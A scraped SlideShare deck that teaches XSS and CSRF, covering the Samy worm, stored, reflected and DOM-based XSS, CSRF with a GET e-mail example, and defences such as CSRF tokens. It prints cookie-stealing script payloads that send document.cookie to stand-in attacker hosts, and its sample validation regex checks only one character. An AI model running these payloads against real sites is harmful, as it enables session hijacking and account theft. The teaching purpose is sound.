SlideShare a Scribd company logo
1 of 28
XSS and CSRF
A web application may include malicious HTML tags or script
in a dynamically generated page based on invalidated input
from faithful sources. This can be a problem when a web
server does not ensure that generated pages are properly
encoded to prevent unwanted execution of scripts. however
if input is not validated to prevent malicious HTML from being
presented to the user may cause a serious problem.
Usually web browsers have the capability to interpret
scripts embedded in web pages downloaded from a web
server. Those scripts may be written in a variety of scripting
languages and are execute by the client's browser. Most of
the browsers are installed in system with the capability to
execute scripts by default.
The best example of a Web Worm is the Samy Worm, the
first major worm of its kind, spread by exploiting a
persistent Cross-Site Scripting vulnerability in
MySpace.com’s personal profile web page template. In
October of 2005, Samy Kamkar the worms author,
updated h is profile Web page with the first copy of the
JavaScript exploit code.
When an authenticated MySpace user viewed Samy's
profile, the worm payload using XHR, forced the user's web
browser to add Samy as a friend, include Samy as the
user's hero ("but most of all, samy is my hero") , and alter
the user's profile with a copy of the malware code.
Starting with a single visitor the Samy Worm infection grew
exponentially to over 1,000,000 infected user profiles in
under 24 hours. MySpace was forced to shutdown its
website in order to stop the infection, fix the vulnerability,
and perform clean up.
Cross-site Scripting (XSS) is an attack technique which
involves echoing attacker-supplied code into a user's browser
instance. A browser instance can be a standard web browser
client, or a browser object embedded in a software product
such as the browser within like an RSS reader, or an email
client. The code itself is usually written in HTML/JavaScript, but
may also extend to VBScript, ActiveX, Java, Flash, or any
other browser-supported technology.
 Non-persistent,
 Persistent and
 DOM-based.
 SSL-Encrypted Connections May Be
Exposed
 Attacks May Be Persistent Through
Poisoned Cookies
 Attacker May Access Restricted Web
Sites from the Client
 Domain Based Security Policies May Be
Violated
Many web sites has function where
registered users may post messages which
are stored in a database of some kind. A
registered user is commonly tracked using a
session ID cookie authorizing them to post. If
an attacker were to post a message
containing a specially crafted JavaScript, a
user reading this message could have their
cookies and their account extricated.
<SCRIPT>
document.location=
'http://example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack Javscirpt
is stored on the server side, this form of xss
attack is persistent
Many web portals offer a personalized
view of a web site and may greet a
logged in user with "Welcome, <your
username>". Sometimes the data
referencing a logged in user is stored
within the query string of a URL and
echoed to the screen
http://example/index.php?
sessionid=12312312&username=<script>d
ocument.location='http://attackerhost/c
gi-
bin/cookiesteal.cgi?'+document.cookie
</script>
DOM based XSS does not need the web
server to receive the malicious XSS
payload. Instead, in a DOM-based Cross
Site referencing , the attacker scolds
embedding of attacker data in the client
side at runtime , from within a page which
is served from the web server.
Assume that the URL
http://www.vulnerable.site/welcome.html  
contains the following content:
<HTML><TITLE>Welcome!
</TITLE>Hi<SCRIPT>var
pos=document.URL.indexOf("name=")
+5;document.write(document.URL.substri
ng(pos,document.URL.length));</SCRIPT
> Welcome to our system…</HTML>
Reference from webappsec.org
In this example the JavaScript code
embeds part of document.URL (the page
location) into the page, without any
consideration for security. An attacker can
abuse this by luring the client to click on a
link such as
http://www.vulnerable.site/welcome.html?
name=<script>alert(document.cookie)</scr
ipt>  
which will embed the malicious JavaScript
payload into the page at runtime.
  <SCRIPT>
  var pos=document.URL.indexOf("name=")+5;
  var
name=document.URL.substring(pos,document.
URL.length);
  if (name.match(/^[a-zA-Z0-9]$/))
  {
       document.write(name);
  }
  else
  {
        window.alert("Security Error ");
  }
  </SCRIPT>
Reference from webappsec.org
CSRF is defined as an attack of a malicious
Web site which ask a user’s Web browser
to do a malicious action on a trusted
site.
CSRF is also known as Cross-Site Reference
attack, One-Click attack, Sidejacking, or
Session Riding.
Opposite to Cross-Site Scripting (XSS),
which exploits the fath a user has for a
particular site, CSRF exploits the fath that
a site has for a particular user. It is not
necessarily true that defences against
XSS also protect against CSRF.
Example
Example
The HTML form causes a GET request to
append the form data to an URL:
http://example.com/send_email.htm?
to=bob
%40example.com&subject=CSRFTEST&ms
g=When+the+user+...
The page send_mail.htm takes the URL
data and generates an e-mail to the
recipient from the user.
If an attacker can force the user’s browser
to send a HTTP GET request to
send_mail.html, then this page will send
an e-mail on the user’s behalf containing
data chosen by the attacker.
Source: CROSS-SITE REQUESTFORGERIES, Kjell
Jørgen Hole ,NoWires Research Group ,Department of
informatics, University of Bergen
 User must be “logged into” Trusted site
and also visit Attacking site.
 If Trusted site accepts GET requests, then
the <img> tag can be used to generate
a malicious request.
 If Trusted site only accepts POST requests,
then it is necessary to use a JavaScript to
generate malicious request.
 Allow a GET request to only retrieve
data, not modify data on the server
› This protects sites from CSRF using <img>tags
or other types of GET requests
› Recommendation follows RFC 2616
 Require all POST requests to include a
pseudorandom value
› Cryptographically strong value should be set
as a cookie in the user’s browser and be
included in every form submitted to the
server.
› The server should only accept POST request if
the random values in the cookie and the
form are equal Attacker doesn’t have
access to cookie
 Log out immediately after a task has
been completed
 Do not start other tasks while a sensitive
task is performed
 Never store usernames/password in
browser
Thanks !

More Related Content

What's hot

Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xss
dcervigni
 

What's hot (20)

XSS
XSSXSS
XSS
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Click jacking
Click jackingClick jacking
Click jacking
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross site scripting XSS
Cross site scripting XSSCross site scripting XSS
Cross site scripting XSS
 
Cm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xssCm7 secure code_training_1day_xss
Cm7 secure code_training_1day_xss
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
What is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgetsWhat is xss, blind xss and xploiting google gadgets
What is xss, blind xss and xploiting google gadgets
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerability
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 

Similar to Xssandcsrf

logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 

Similar to Xssandcsrf (20)

Secure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scriptingSecure Code Warrior - Cross site scripting
Secure Code Warrior - Cross site scripting
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Css
CssCss
Css
 
CSS.ppt
CSS.pptCSS.ppt
CSS.ppt
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Web
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
4.Xss
4.Xss4.Xss
4.Xss
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web application attacks
Web application attacksWeb application attacks
Web application attacks
 
Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
Attacking Web Proxies
Attacking Web ProxiesAttacking Web Proxies
Attacking Web Proxies
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 

Recently uploaded

Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Victor Rentea
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Recently uploaded (20)

How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 

Xssandcsrf

  • 2. A web application may include malicious HTML tags or script in a dynamically generated page based on invalidated input from faithful sources. This can be a problem when a web server does not ensure that generated pages are properly encoded to prevent unwanted execution of scripts. however if input is not validated to prevent malicious HTML from being presented to the user may cause a serious problem.
  • 3. Usually web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Those scripts may be written in a variety of scripting languages and are execute by the client's browser. Most of the browsers are installed in system with the capability to execute scripts by default.
  • 4. The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in MySpace.com’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.
  • 5. Cross-site Scripting (XSS) is an attack technique which involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within like an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
  • 7.
  • 8.  SSL-Encrypted Connections May Be Exposed  Attacks May Be Persistent Through Poisoned Cookies  Attacker May Access Restricted Web Sites from the Client  Domain Based Security Policies May Be Violated
  • 9. Many web sites has function where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account extricated.
  • 10. <SCRIPT> document.location= 'http://example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Due to the fact that the attack Javscirpt is stored on the server side, this form of xss attack is persistent
  • 11. Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
  • 13. DOM based XSS does not need the web server to receive the malicious XSS payload. Instead, in a DOM-based Cross Site referencing , the attacker scolds embedding of attacker data in the client side at runtime , from within a page which is served from the web server.
  • 14. Assume that the URL http://www.vulnerable.site/welcome.html   contains the following content: <HTML><TITLE>Welcome! </TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=") +5;document.write(document.URL.substri ng(pos,document.URL.length));</SCRIPT > Welcome to our system…</HTML> Reference from webappsec.org
  • 15. In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as http://www.vulnerable.site/welcome.html? name=<script>alert(document.cookie)</scr ipt>   which will embed the malicious JavaScript payload into the page at runtime.
  • 16.   <SCRIPT>   var pos=document.URL.indexOf("name=")+5;   var name=document.URL.substring(pos,document. URL.length);   if (name.match(/^[a-zA-Z0-9]$/))   {        document.write(name);   }   else   {         window.alert("Security Error ");   }   </SCRIPT> Reference from webappsec.org
  • 17. CSRF is defined as an attack of a malicious Web site which ask a user’s Web browser to do a malicious action on a trusted site. CSRF is also known as Cross-Site Reference attack, One-Click attack, Sidejacking, or Session Riding.
  • 18. Opposite to Cross-Site Scripting (XSS), which exploits the fath a user has for a particular site, CSRF exploits the fath that a site has for a particular user. It is not necessarily true that defences against XSS also protect against CSRF.
  • 19.
  • 20.
  • 22. Example The HTML form causes a GET request to append the form data to an URL: http://example.com/send_email.htm? to=bob %40example.com&subject=CSRFTEST&ms g=When+the+user+... The page send_mail.htm takes the URL data and generates an e-mail to the recipient from the user.
  • 23. If an attacker can force the user’s browser to send a HTTP GET request to send_mail.html, then this page will send an e-mail on the user’s behalf containing data chosen by the attacker. Source: CROSS-SITE REQUESTFORGERIES, Kjell Jørgen Hole ,NoWires Research Group ,Department of informatics, University of Bergen
  • 24.  User must be “logged into” Trusted site and also visit Attacking site.  If Trusted site accepts GET requests, then the <img> tag can be used to generate a malicious request.  If Trusted site only accepts POST requests, then it is necessary to use a JavaScript to generate malicious request.
  • 25.  Allow a GET request to only retrieve data, not modify data on the server › This protects sites from CSRF using <img>tags or other types of GET requests › Recommendation follows RFC 2616
  • 26.  Require all POST requests to include a pseudorandom value › Cryptographically strong value should be set as a cookie in the user’s browser and be included in every form submitted to the server. › The server should only accept POST request if the random values in the cookie and the form are equal Attacker doesn’t have access to cookie
  • 27.  Log out immediately after a task has been completed  Do not start other tasks while a sensitive task is performed  Never store usernames/password in browser